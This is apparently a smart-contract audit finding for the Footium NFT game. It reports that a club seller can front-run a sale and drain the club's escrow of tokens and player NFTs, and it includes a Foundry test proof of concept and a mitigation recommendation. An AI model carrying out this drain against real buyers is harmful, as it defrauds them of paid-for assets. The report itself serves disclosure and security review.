sashik_eth

medium

# Buyer of the club could be front-runned by the club seller during trade

## Summary
Buyer of the club could be front-runned during trading on the secondary market by the current club seller,  who drains the escrow balance before the club's NFT is traded.

## Vulnerability Detail

Each club NFT has an `Escrow` contract associated with it, that is responsible for holding and transferring clubs'  inventory of NFT's (e.g., players) and tokens (e.g., Footium Token). This contract allows the current club owner to transfer any ERC20 and ERC721 tokens from escrow (=club balance).
As Clubs NFTs follow the ERC721 standard, they can be freely traded on secondary markets. However, this creates an attack vector where the seller of the club can front-run trading transactions by using their own transactions to drain the escrow balance.

## Impact

Club buyers are at risk of being defrauded by paying a high price for a club that turns out to be empty due to the possibility of the seller draining the escrow balance.

## Code Snippet

Functions that allow the current owner (seller) to transfer assets from `Escrow` balance:
https://github.com/sherlock-audit/2023-04-footium/blob/main/footium-eth-shareable/contracts/FootiumEscrow.sol#L105-L126
```solidity
    /**
     * @notice Transfers ERC20 tokens to `to` address.
     * @param erc20Contract ERC20 contract address.
     * @param to Token receiver address.
     * @param amount Token amount to transfer.
     * @dev only the club owner address allowed.
     */
    function transferERC20(
        IERC20 erc20Contract,
        address to,
        uint256 amount
    ) external onlyClubOwner {
        erc20Contract.transfer(to, amount);
    }

    /**
     * @notice Transfers ERC721 tokens to `to` address.
     * @param erc721Contract ERC721 contract address.
     * @param to Token receiver address.
     * @param tokenId Token ID to be transferred.
     * @dev only the club owner address allowed.
     */
    function transferERC721(
        IERC721 erc721Contract,
        address to,
        uint256 tokenId
    ) external onlyClubOwner {
        erc721Contract.safeTransferFrom(address(this), to, tokenId);
    }
```

## PoC
Next Foundry test added in file `test/foundry/Footium.t.sol` could show a possible attack scenario:

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../contracts/FootiumClub.sol";
import "../../contracts/FootiumPlayer.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

contract CounterTest is Test {
    FootiumClub public club;
    FootiumPlayer public player;
    address buyer;
    address maliciousSeller;
    address secondaryMarket;

    function setUp() public {
        club = new FootiumClub();
        club.initialize("URL");
        player = new FootiumPlayer();
        player.initialize(address(123), 1, "URL");

        club.grantRole(club.MINTER_ROLE(), address(this));
        player.grantRole(club.MINTER_ROLE(), address(this));

        maliciousSeller = makeAddr("maliciousSeller");
        buyer = makeAddr("buyer");
        secondaryMarket = makeAddr("secondaryMarket");
    }

    function testStealingBeforeTrade() public {
        // Minting club NFT for malicious seller and player NFT that would hold on clubs' escrow contract
        uint256 clubId = 1;
        club.safeMint(maliciousSeller, clubId);
        uint256 playerId;
        playerId = player.safeMint(address(club.clubToEscrow(clubId)));
        // Seller approve club NFT for secondary market to be traded
        vm.startPrank(maliciousSeller);
        club.approve(secondaryMarket, clubId);
        // Seller steals player NFT by front-running trading tx
        FootiumEscrow(club.clubToEscrow(clubId)).transferERC721(IERC721(address(player)), maliciousSeller, playerId);
        vm.stopPrank();
        // Trading tx
        vm.prank(secondaryMarket);
        club.transferFrom(maliciousSeller, buyer, clubId);
        // Checking that seller owns player NFT after trade of club was executed
        assertEq(player.ownerOf(playerId), maliciousSeller);
    }
}
```
Check this link for instructions on how to add Foundry tests in the Hardhat project:
https://book.getfoundry.sh/config/hardhat#4-steps-to-add-foundry-test

## Tool used

Manual Review

## Recommendation

One possible solution to mitigate the risk of fraud for Club NFT buyers is to either remove the transfer possibility from the Club NFT contract altogether or to add a pausing functionality with timelock to the Escrow contract.
By adding a timelock to the Escrow contract, the transfer functionality could be temporarily disabled for a specific period, allowing buyers to verify that the club's inventory is intact.
